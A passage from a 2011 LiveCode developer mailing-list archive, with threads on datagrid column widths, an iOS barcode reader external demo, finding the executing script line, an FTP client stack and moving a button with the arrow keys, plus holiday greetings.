as document-modal; that is, modal to the toplevel window at the time the dialog was invoked, while the user is still being able to interact with other toplevel windows. Didn't know that! You learn something new every day? :D Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From bobs at twft.com Mon Dec 19 16:39:48 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 13:39:48 -0800 Subject: Cannot focus on a datagrid?? In-Reply-To: References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> <7A0AE412-C71F-4E61-AD7F-FAC5A323CF5C@twft.com> Message-ID: Yup, and in my case, I have to do it after setting the dgColumns each time, which I do a lot. I just found the code that set the default to 40 and changed it to set the default to 20. 20 is PERFECT for checkboxes without labels! I just hope it doesn't break something later! Bob On Dec 19, 2011, at 12:30 PM, Trevor DeVore wrote: > On Mon, Dec 19, 2011 at 2:59 PM, Bob Sneidar wrote: > >> I will give that a try! On another note, I have run into a problem with >> setting the dgProp["column widths"] to a list containing a vlue something >> less that the hard minimum of 40. I found in the datagrid library where it >> sets the minimum column width of new columns to a literal value of 40, so I >> changed it to 20. Having seen how it's done, I do not suppose there is a >> command to set the defaultMinimumColumnWidth to something, so this would be >> a great thing to add in the future. Not sure if there are unseen >> ramifications though. > > > There is a setting for that. You have to set the dgColumnMinWidth for each > column. > > -- > Trevor DeVore > Blue Mango Learning Systems > www.clarify-it.com - www.screensteps.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shari at gypsyware.com Mon Dec 19 16:50:22 2011 From: shari at gypsyware.com (Shari) Date: Mon, 19 Dec 2011 16:50:22 -0500 Subject: Happy Ho ! Ho ! In-Reply-To: References: Message-ID: To all... Many of you I've known for so long here that I feel I am among old friends. May all of you find yourself surrounded by the joy and laughter of loved ones, and may prosperity bless your doorsteps! This is truly an amazing group of people and it is a place of welcome to all. For the generosity of everyone who so unselfishly shares of their time and talents, thank you! For the camaraderie of spirit, bless all of you! Now quick, go hug somebody close to you and spread the goodwill! (And yes, dogs and cats count...) :-) Shari -- Bad Dog Books http://books.gityasome.com Critters, humor, patriots and sports t-shirts http://www.bearsware.com WlND0WS and MAClNT0SH shareware http://www.gipsyking.com From monte at sweattechnologies.com Mon Dec 19 18:05:58 2011 From: monte at sweattechnologies.com (Monte Goulding) Date: Tue, 20 Dec 2011 10:05:58 +1100 Subject: [ANN] iOS Barcode Reader External Demo In App Store Message-ID: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> Hi Everyone I've created a demo for my barcode reader external called ShakeNScan. Sorry about the app, I built it in about an hour as it's sole purpose is to demo the modal barcode reader to you guys. The purpose of the demo is to ensure the external was not a blocker for app store release which obviously I now know it's not, for people to test it and to gauge interest in it. I'm keen to hear if you have a need for it. The external can read EAN-13/UPC-A, UPC-E, EAN-8, Code 128, Code 39 and QR Code. The app will browse to a url in a QR code but it will display the results of all the other codes. I uses one function mergGetBarcode() which presents a modal barcode reader. An embedded barcode reader control is in the works but there's still some issues with that I'm working through. http://itunes.apple.com/us/app/shakenscan/id490000309 It will be available via revSelect as soon as I can arrange it. Cheers Monte From jacque at hyperactivesw.com Mon Dec 19 18:16:27 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 19 Dec 2011 17:16:27 -0600 Subject: Happy Ho ! Ho ! In-Reply-To: References: Message-ID: <4EEFC5CB.8030905@hyperactivesw.com> on dash repeat until allTheWay jinglebells end repeat if it = whatFun then oh! if it = toRide then open sleigh with oneHorse repeat until allTheWay jinglebells end repeat end dash Peace. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mike at doub.com Mon Dec 19 18:33:32 2011 From: mike at doub.com (Michael Doub) Date: Mon, 19 Dec 2011 18:33:32 -0500 Subject: Get a reference for the current line executing Message-ID: <786AB932-0E39-47B0-AB31-D5926D84A1C5@doub.com> Is it possible to get a script identifier and the line number of the currently executing statement? throw (the_Current_Script && "-" && the current_Line_Number) From m.schonewille at economy-x-talk.com Mon Dec 19 18:36:18 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 20 Dec 2011 00:36:18 +0100 Subject: Get a reference for the current line executing In-Reply-To: <786AB932-0E39-47B0-AB31-D5926D84A1C5@doub.com> References: <786AB932-0E39-47B0-AB31-D5926D84A1C5@doub.com> Message-ID: Hi, You can try the executionContexts. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 20 dec 2011, at 00:33, Michael Doub wrote: > > > Is it possible to get a script identifier and the line number of the currently executing statement? > > throw (the_Current_Script && "-" && the current_Line_Number) From rjearp at hotmail.com Mon Dec 19 19:17:15 2011 From: rjearp at hotmail.com (Bob Earp) Date: Mon, 19 Dec 2011 16:17:15 -0800 Subject: Wanted: Neophytes ftp Client Message-ID: Many thanks to all who responded to my request, As usual there were some great ideas, and all of them very workable. I ended up using Andre's FTP Commander stack (many thanks Andre) and tweaked it to suit what I hope is the needs of the group I deal with. I've just sent copies out for testing to some of the more technically challenged of the group without any instructions on how to use it, so I'll soon know if I got it right ;-) Once it has proved itself, I'll upload it to RevOnline. best, Bob... Bob Earp White Rock, British Columbia. From bobs at twft.com Mon Dec 19 20:15:20 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 17:15:20 -0800 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> Message-ID: Odd... I tried looking it up on my iPhone, but the search feature cannot find it there. I can however find it on my computer's iTunes app! Bob On Dec 19, 2011, at 3:05 PM, Monte Goulding wrote: > Hi Everyone > > I've created a demo for my barcode reader external called ShakeNScan. Sorry about the app, I built it in about an hour as it's sole purpose is to demo the modal barcode reader to you guys. The purpose of the demo is to ensure the external was not a blocker for app store release which obviously I now know it's not, for people to test it and to gauge interest in it. I'm keen to hear if you have a need for it. > > The external can read EAN-13/UPC-A, UPC-E, EAN-8, Code 128, Code 39 and QR Code. The app will browse to a url in a QR code but it will display the results of all the other codes. I uses one function mergGetBarcode() which presents a modal barcode reader. An embedded barcode reader control is in the works but there's still some issues with that I'm working through. > > http://itunes.apple.com/us/app/shakenscan/id490000309 > > It will be available via revSelect as soon as I can arrange it. > > Cheers > > Monte > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Mon Dec 19 20:42:16 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 19 Dec 2011 17:42:16 -0800 Subject: Get a reference for the current line executing In-Reply-To: <786AB932-0E39-47B0-AB31-D5926D84A1C5@doub.com> References: <786AB932-0E39-47B0-AB31-D5926D84A1C5@doub.com> Message-ID: <40254412890.20111219174216@ahsoftware.net> Mike- Monday, December 19, 2011, 3:33:32 PM, you wrote: > Is it possible to get a script identifier and the line number of > the currently executing statement? > throw (the_Current_Script && "-" && the current_Line_Number) As Mark noted, the executionContexts will give you a stack trace. Also note that param(0) will give you the name of the current handler. -- -Mark Wieder mwieder at ahsoftware.net From gerry.orkin at gmail.com Mon Dec 19 21:11:00 2011 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Tue, 20 Dec 2011 13:11:00 +1100 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> Message-ID: <890E58EB-A3DF-4474-9DD0-2AE3D8996B46@gmail.com> Monte Works perfectly for me! Great work, and smart move to push it through the store to check compliance. I'm lining up to purchase this :) Gerry From monte at sweattechnologies.com Mon Dec 19 21:39:21 2011 From: monte at sweattechnologies.com (Monte Goulding) Date: Tue, 20 Dec 2011 13:39:21 +1100 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> Message-ID: Hey Bob, I don't think it's anything sinister. It seems to take a little bit of time for an app to propagate around the stores and I sent this email as soon as I got notification from iTunes Connect. Cheers Monte On 20/12/2011, at 12:15 PM, Bob Sneidar wrote: > Odd... I tried looking it up on my iPhone, but the search feature cannot find it there. I can however find it on my computer's iTunes app! > > Bob > > > On Dec 19, 2011, at 3:05 PM, Monte Goulding wrote: > >> Hi Everyone >> >> I've created a demo for my barcode reader external called ShakeNScan. Sorry about the app, I built it in about an hour as it's sole purpose is to demo the modal barcode reader to you guys. The purpose of the demo is to ensure the external was not a blocker for app store release which obviously I now know it's not, for people to test it and to gauge interest in it. I'm keen to hear if you have a need for it. >> >> The external can read EAN-13/UPC-A, UPC-E, EAN-8, Code 128, Code 39 and QR Code. The app will browse to a url in a QR code but it will display the results of all the other codes. I uses one function mergGetBarcode() which presents a modal barcode reader. An embedded barcode reader control is in the works but there's still some issues with that I'm working through. >> >> http://itunes.apple.com/us/app/shakenscan/id490000309 >> >> It will be available via revSelect as soon as I can arrange it. >> >> Cheers >> >> Monte >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gerry.orkin at gmail.com Tue Dec 20 04:30:24 2011 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Tue, 20 Dec 2011 20:30:24 +1100 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: <890E58EB-A3DF-4474-9DD0-2AE3D8996B46@gmail.com> References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> <890E58EB-A3DF-4474-9DD0-2AE3D8996B46@gmail.com> Message-ID: QR codes scan almost instantly - Code 128 take a fair bit longer. QR suits my immediate purpose so I'm fine with that, but is there any reason Code 128 takes so much longer? Gerry On 20/12/2011, at 1:11 PM, Gerry Orkin wrote: > Monte > > Works perfectly for me! Great work, and smart move to push it through the store to check compliance. I'm lining up to purchase this :) > > Gerry From mazzapaoloitaly at gmail.com Tue Dec 20 05:14:45 2011 From: mazzapaoloitaly at gmail.com (paolo mazza) Date: Tue, 20 Dec 2011 11:14:45 +0100 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> Message-ID: Hi Monte I was able to download your App from the App Store and to scan some Barcodes. IT WORKS!! Great job. I look forward to the stack being available in revSelect. Cheers, Paolo Mazza From monte at sweattechnologies.com Tue Dec 20 05:56:20 2011 From: monte at sweattechnologies.com (Monte Goulding) Date: Tue, 20 Dec 2011 21:56:20 +1100 Subject: [ANN] iOS Barcode Reader External Demo In App Store In-Reply-To: References: <7661DB3D-922E-42F3-9386-248E53F82586@sweattechnologies.com> <890E58EB-A3DF-4474-9DD0-2AE3D8996B46@gmail.com> Message-ID: Hi Gerry At the moment the external just looks for a wide range of barcode types and needs to sort out which is which. I'm changing it so when calling the function you specify which type of barcode you want it to look for which should improve performance. Cheers -- Monte Goulding On 20/12/2011, at 8:30 PM, Gerry Orkin wrote: > QR codes scan almost instantly - Code 128 take a fair bit longer. QR suits my immediate purpose so I'm fine with that, but is there any reason Code 128 takes so much longer? > > Gerry > > > On 20/12/2011, at 1:11 PM, Gerry Orkin wrote: > >> Monte >> >> Works perfectly for me! Great work, and smart move to push it through the store to check compliance. I'm lining up to purchase this :) >> >> Gerry > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mazzapaoloitaly at gmail.com Tue Dec 20 06:13:24 2011 From: mazzapaoloitaly at gmail.com (paolo mazza) Date: Tue, 20 Dec 2011 12:13:24 +0100 Subject: arrowKey In-Reply-To: References: Message-ID: Thank you Mike, I was able to use your script. I realize that getting the arrows key is not as trivial as "get the mouse" or "get the optionKey". However your script works fine. Thanks a lot Paolo On Mon, Dec 19, 2011 at 5:28 PM, Mike Bonner wrote: > I'm sure this doesn't cover every possibility but will something like the > following work? > > -- in the card I put > on arrowKey pKey > ? set the cKeyDown of this stack to pKey > ? pass arrowKey > end arrowKey > > on rawKeyUp pKey > ? if pKey is among the items of "65361,65362,65363,65364" then > ? ? ?if the cKeyDown of this stack is not empty then set the cKeyDown of > this stack to empty > ? end if > ? pass rawKeyUp > end rawKeyUp > > > --And in a button I put > local tRunning > on mouseUp > ? if tRunning is empty then put false into tRunning > ? put not tRunning into tRunning > ? checkarrow > end mouseUp > > command checkArrow > ? if tRunning then > ? ? ?switch (the cKeyDown of this stack is empty) > ? ? ? ? case false > ? ? ? ? ? ?put the cKeyDown of this stack > ? ? ? ? ? ?break > ? ? ? ? case true > ? ? ? ? ? ?put "No Key is down" > ? ? ? ? ? ?break > ? ? ?end switch > ? ? ?send checkArrow to me in 10 milliseconds > ? end if > end checkArrow > > Depending on your needs this might be enough. It doesn't handle 2 arrow > keys being pressed (shouldn't be too bad to modify it so that you can > handle multiple arrow presses, instead of just checking against ALL arrow > keycodes could have a property for each direction keycode and only wipe out > the specific arrow key that is released) > > To test, set up the stack as described, click the button to start the > monitoring and then hit your keys. Should show results in the msg box. > > On Mon, Dec 19, 2011 at 7:51 AM, paolo mazza wrote: > >> Hi All, >> how can I check if the "arrowKey up" is down or is up ? >> >> For example, for the option Key I can write .. if the optioKey is down >> then..., ?for the mouse I can write ... if the mouse is down then ... >> >> What about ?the arrow keys ? >> >> All the best >> >> Paolo >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Tue Dec 20 07:48:04 2011 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 20 Dec 2011 10:48:04 -0200 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: Bob, Thanks for the kind words! I plan to upgrade FTP Commander to support SFTP using Glenn externals soon, then I will have a cross platform SFTP client. I built that stack as a toy but it is actually useful and sometimes, I still use it. I am glad it works for you. Cheers andre PS: I built this stack in 2004... On Mon, Dec 19, 2011 at 10:17 PM, Bob Earp wrote: > Many thanks to all who responded to my request, As usual there were some > great ideas, and all of them very workable. I ended up using Andre's FTP > Commander stack (many thanks Andre) and tweaked it to suit what I hope is > the needs of the group I deal with. I've just sent copies out for testing > to some of the more technically challenged of the group without any > instructions on how to use it, so I'll soon know if I got it right ;-) > > Once it has proved itself, I'll upload it to RevOnline. > > best, Bob... > > Bob Earp > White Rock, British Columbia. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From lists at mangomultimedia.com Tue Dec 20 07:54:20 2011 From: lists at mangomultimedia.com (Trevor DeVore) Date: Tue, 20 Dec 2011 07:54:20 -0500 Subject: Cannot focus on a datagrid?? In-Reply-To: References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> <7A0AE412-C71F-4E61-AD7F-FAC5A323CF5C@twft.com> Message-ID: On Mon, Dec 19, 2011 at 4:39 PM, Bob Sneidar wrote: > I just hope it doesn't break something later! It shouldn't. -- Trevor DeVore Blue Mango Learning Systems www.clarify-it.com - www.screensteps.com From bonnmike at gmail.com Tue Dec 20 09:04:56 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 20 Dec 2011 07:04:56 -0700 Subject: arrowKey In-Reply-To: References: Message-ID: I saw the other input for this problem, I'm thinking that checking "keysdown()" for the arrow keycodes would be a more reliable solution depending on your needs. I swear I keep learning new things on this list and in the forums. Luckily I have a horrible memory so I get the bonus of relearning the same thing over and over! On Tue, Dec 20, 2011 at 4:13 AM, paolo mazza wrote: > Thank you Mike, > I was able to use your script. > I realize that getting the arrows key is not as trivial as "get the > mouse" or "get the optionKey". > However your script works fine. > Thanks a lot > Paolo > > On Mon, Dec 19, 2011 at 5:28 PM, Mike Bonner wrote: > > I'm sure this doesn't cover every possibility but will something like the > > following work? > > > > -- in the card I put > > on arrowKey pKey > > set the cKeyDown of this stack to pKey > > pass arrowKey > > end arrowKey > > > > on rawKeyUp pKey > > if pKey is among the items of "65361,65362,65363,65364" then > > if the cKeyDown of this stack is not empty then set the cKeyDown of > > this stack to empty > > end if > > pass rawKeyUp > > end rawKeyUp > > > > > > --And in a button I put > > local tRunning > > on mouseUp > > if tRunning is empty then put false into tRunning > > put not tRunning into tRunning > > checkarrow > > end mouseUp > > > > command checkArrow > > if tRunning then > > switch (the cKeyDown of this stack is empty) > > case false > > put the cKeyDown of this stack > > break > > case true > > put "No Key is down" > > break > > end switch > > send checkArrow to me in 10 milliseconds > > end if > > end checkArrow > > > > Depending on your needs this might be enough. It doesn't handle 2 arrow > > keys being pressed (shouldn't be too bad to modify it so that you can > > handle multiple arrow presses, instead of just checking against ALL arrow > > keycodes could have a property for each direction keycode and only wipe > out > > the specific arrow key that is released) > > > > To test, set up the stack as described, click the button to start the > > monitoring and then hit your keys. Should show results in the msg box. > > > > On Mon, Dec 19, 2011 at 7:51 AM, paolo mazza >wrote: > > > >> Hi All, > >> how can I check if the "arrowKey up" is down or is up ? > >> > >> For example, for the option Key I can write .. if the optioKey is down > >> then..., for the mouse I can write ... if the mouse is down then ... > >> > >> What about the arrow keys ? > >> > >> All the best > >> > >> Paolo > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pmbrig at gmail.com Tue Dec 20 09:31:41 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Tue, 20 Dec 2011 07:31:41 -0700 Subject: arrowKey In-Reply-To: References: Message-ID: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> On Dec 20, 2011, at 7:04 AM, Mike Bonner wrote: > I saw the other input for this problem, I'm thinking that checking > "keysdown()" for the arrow keycodes would be a more reliable solution > depending on your needs. > > I swear I keep learning new things on this list and in the forums. Luckily > I have a horrible memory so I get the bonus of relearning the same thing > over and over! Yeah, me too -- as one of my patients once said to me, "I have a mind like a steel sieve." I save lots of tips from this list in a stack I've made, and thank God for LC's find command.... Wish it worked for socks. (Anyone seen a sort of a brownish-greenish one, medium, almost new?) -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From bonnmike at gmail.com Tue Dec 20 09:35:24 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 20 Dec 2011 07:35:24 -0700 Subject: arrowKey In-Reply-To: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> References: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> Message-ID: I gave up on socks years ago. They're not worth the temporal disturbance. On Tue, Dec 20, 2011 at 7:31 AM, Peter M. Brigham, MD wrote: > On Dec 20, 2011, at 7:04 AM, Mike Bonner wrote: > > > I saw the other input for this problem, I'm thinking that checking > > "keysdown()" for the arrow keycodes would be a more reliable solution > > depending on your needs. > > > > I swear I keep learning new things on this list and in the forums. > Luckily > > I have a horrible memory so I get the bonus of relearning the same thing > > over and over! > > Yeah, me too -- as one of my patients once said to me, "I have a mind like > a steel sieve." I save lots of tips from this list in a stack I've made, > and thank God for LC's find command.... Wish it worked for socks. (Anyone > seen a sort of a brownish-greenish one, medium, almost new?) > > -- Peter > > Peter M. Brigham > pmbrig at gmail.com > http://home.comcast.net/~pmbrig > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mazzapaoloitaly at gmail.com Tue Dec 20 09:49:56 2011 From: mazzapaoloitaly at gmail.com (paolo mazza) Date: Tue, 20 Dec 2011 15:49:56 +0100 Subject: arrowKey In-Reply-To: References: Message-ID: Thank you Bob. Thank you Mike.. Here it is my code to move a button using the arrow keys. local tSTARTCONTROL on StartControl put "true" into tSTARTCONTROL ControlKeys end StartControl on StopControl put "false" into tSTARTCONTROL end StopControl on ControlKeys if keysDown() is "65361" then MoveLeft end if if keysDown() is "65362" then MoveUp end if if keysDown() is "65363" then MoveRight end if if keysDown() is "65364" then MoveDown end if if tSTARTCONTROL is true then send ControlKeys to me in 0.2 sec end if end ControlKeys on MoveLeft set the left of button "square" to (the left of button "square" - 1 ) end MoveLeft on MoveRight set the left of button "square" to (the left of button "square" + 1 ) end MoveRight on MoveUp set the top of button "square" to (the top of button "square" - 1 ) end MoveUp on MoveDown set the top of button "square" to (the top of button "square" + 1 ) end MoveDown It works !! All the best. Paolo On Tue, Dec 20, 2011 at 3:04 PM, Mike Bonner wrote: > I saw the other input for this problem, I'm thinking that checking > "keysdown()" for the arrow keycodes would be a more reliable solution > depending on your needs. > > I swear I keep learning new things on this list and in the forums. Luckily > I have a horrible memory so I get the bonus of relearning the same thing > over and over! > > On Tue, Dec 20, 2011 at 4:13 AM, paolo mazza wrote: > >> Thank you Mike, >> I was able to use your script. >> I realize that getting the arrows key is not as trivial as "get the >> mouse" or "get the optionKey". >> However your script works fine. >> Thanks a lot >> Paolo >> >> On Mon, Dec 19, 2011 at 5:28 PM, Mike Bonner wrote: >> > I'm sure this doesn't cover every possibility but will something like the >> > following work? >> > >> > -- in the card I put >> > on arrowKey pKey >> > ? set the cKeyDown of this stack to pKey >> > ? pass arrowKey >> > end arrowKey >> > >> > on rawKeyUp pKey >> > ? if pKey is among the items of "65361,65362,65363,65364" then >> > ? ? ?if the cKeyDown of this stack is not empty then set the cKeyDown of >> > this stack to empty >> > ? end if >> > ? pass rawKeyUp >> > end rawKeyUp >> > >> > >> > --And in a button I put >> > local tRunning >> > on mouseUp >> > ? if tRunning is empty then put false into tRunning >> > ? put not tRunning into tRunning >> > ? checkarrow >> > end mouseUp >> > >> > command checkArrow >> > ? if tRunning then >> > ? ? ?switch (the cKeyDown of this stack is empty) >> > ? ? ? ? case false >> > ? ? ? ? ? ?put the cKeyDown of this stack >> > ? ? ? ? ? ?break >> > ? ? ? ? case true >> > ? ? ? ? ? ?put "No Key is down" >> > ? ? ? ? ? ?break >> > ? ? ?end switch >> > ? ? ?send checkArrow to me in 10 milliseconds >> > ? end if >> > end checkArrow >> > >> > Depending on your needs this might be enough. It doesn't handle 2 arrow >> > keys being pressed (shouldn't be too bad to modify it so that you can >> > handle multiple arrow presses, instead of just checking against ALL arrow >> > keycodes could have a property for each direction keycode and only wipe >> out >> > the specific arrow key that is released) >> > >> > To test, set up the stack as described, click the button to start the >> > monitoring and then hit your keys. Should show results in the msg box. >> > >> > On Mon, Dec 19, 2011 at 7:51 AM, paolo mazza > >wrote: >> > >> >> Hi All, >> >> how can I check if the "arrowKey up" is down or is up ? >> >> >> >> For example, for the option Key I can write .. if the optioKey is down >> >> then..., ?for the mouse I can write ... if the mouse is down then ... >> >> >> >> What about ?the arrow keys ? >> >> >> >> All the best >> >> >> >> Paolo >> >> >> >> _______________________________________________ >> >> use-livecode mailing list >> >> use-livecode at lists.runrev.com >> >> Please visit this url to subscribe, unsubscribe and manage your >> >> subscription preferences: >> >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 20 11:07:45 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 08:07:45 -0800 Subject: arrowKey In-Reply-To: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> References: <0B9D665C-1CC2-45BD-B63A-08C636884D2D@gmail.com> Message-ID: Jacque was wearing it yesterday, along with a white kneehigh with blue and red stripes. Bob On Dec 20, 2011, at 6:31 AM, Peter M. Brigham, MD wrote: > Yeah, me too -- as one of my patients once said to me, "I have a mind like a steel sieve." I save lots of tips from this list in a stack I've made, and thank God for LC's find command.... Wish it worked for socks. (Anyone seen a sort of a brownish-greenish one, medium, almost new?) > > -- Peter > > Peter M. Brigham From pmbrig at gmail.com Tue Dec 20 11:29:21 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Tue, 20 Dec 2011 09:29:21 -0700 Subject: arrowKey In-Reply-To: References: Message-ID: Is there some reason not to do it this way?: on arrowkey which put the loc of button "square" into tRect switch which case "left" subtract 1 from item 1 of tRect break case "right" add 1 to item 1 of tRect break case "up" subtract 1 from item 2 of tRect break case "down" add 1 to item 2 of tRect break default pass arrowkey break end switch set the loc of button "square" to tRect end arrowkey Put the handler in an invisible button and insert the button's script as a frontscript on opencard. If you put it into the card script then it will work fine usually, but the problem comes if the user has switched the focus off the card by clicking on some other control, so a frontscript is safer that way. Remember to remove the frontscript on closecard, so it doesn't start intercepting arrowkey messages elsewhere. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On Dec 20, 2011, at 7:49 AM, paolo mazza wrote: > Thank you Bob. Thank you Mike.. Here it is my code to move a button > using the arrow keys. > > local tSTARTCONTROL > > on StartControl > put "true" into tSTARTCONTROL > ControlKeys > end StartControl > > on StopControl > put "false" into tSTARTCONTROL > end StopControl > > on ControlKeys > if keysDown() is "65361" then > MoveLeft > end if > > if keysDown() is "65362" then > MoveUp > end if > > if keysDown() is "65363" then > MoveRight > end if > > if keysDown() is "65364" then > MoveDown > end if > > if tSTARTCONTROL is true then > send ControlKeys to me in 0.2 sec > end if > end ControlKeys > > on MoveLeft > set the left of button "square" to (the left of button "square" - 1 ) > end MoveLeft > > on MoveRight > set the left of button "square" to (the left of button "square" + 1 ) > end MoveRight > > on MoveUp > set the top of button "square" to (the top of button "square" - 1 ) > end MoveUp > > on MoveDown > set the top of button "square" to (the top of button "square" + 1 ) > end MoveDown > > It works !! > > All the best. Paolo > > > On Tue, Dec 20, 2011 at 3:04 PM, Mike Bonner wrote: >> I saw the other input for this problem, I'm thinking that checking >> "keysdown()" for the arrow keycodes would be a more reliable solution >> depending on your needs. >> >> I swear I keep learning new things on this list and in the forums. Luckily >> I have a horrible memory so I get the bonus of relearning the same thing >> over and over! >> >> On Tue, Dec 20, 2011 at 4:13 AM, paolo mazza wrote: >> >>> Thank you Mike, >>> I was able to use your script. >>> I realize that getting the arrows key is not as trivial as "get the >>> mouse" or "get the optionKey". >>> However your script works fine. >>> Thanks a lot >>> Paolo >>> >>> On Mon, Dec 19, 2011 at 5:28 PM, Mike Bonner wrote: >>>> I'm sure this doesn't cover every possibility but will something like the >>>> following work? >>>> >>>> -- in the card I put >>>> on arrowKey pKey >>>> set the cKeyDown of this stack to pKey >>>> pass arrowKey >>>> end arrowKey >>>> >>>> on rawKeyUp pKey >>>> if pKey is among the items of "65361,65362,65363,65364" then >>>> if the cKeyDown of this stack is not empty then set the cKeyDown of >>>> this stack to empty >>>> end if >>>> pass rawKeyUp >>>> end rawKeyUp >>>> >>>> >>>> --And in a button I put >>>> local tRunning >>>> on mouseUp >>>> if tRunning is empty then put false into tRunning >>>> put not tRunning into tRunning >>>> checkarrow >>>> end mouseUp >>>> >>>> command checkArrow >>>> if tRunning then >>>> switch (the cKeyDown of this stack is empty) >>>> case false >>>> put the cKeyDown of this stack >>>> break >>>> case true >>>> put "No Key is down" >>>> break >>>> end switch >>>> send checkArrow to me in 10 milliseconds >>>> end if >>>> end checkArrow >>>> >>>> Depending on your needs this might be enough. It doesn't handle 2 arrow >>>> keys being pressed (shouldn't be too bad to modify it so that you can >>>> handle multiple arrow presses, instead of just checking against ALL arrow >>>> keycodes could have a property for each direction keycode and only wipe >>> out >>>> the specific arrow key that is released) >>>> >>>> To test, set up the stack as described, click the button to start the >>>> monitoring and then hit your keys. Should show results in the msg box. >>>> >>>> On Mon, Dec 19, 2011 at 7:51 AM, paolo mazza >>> wrote: >>>> >>>>> Hi All, >>>>> how can I check if the "arrowKey up" is down or is up ? >>>>> >>>>> For example, for the option Key I can write .. if the optioKey is down >>>>> then..., for the mouse I can write ... if the 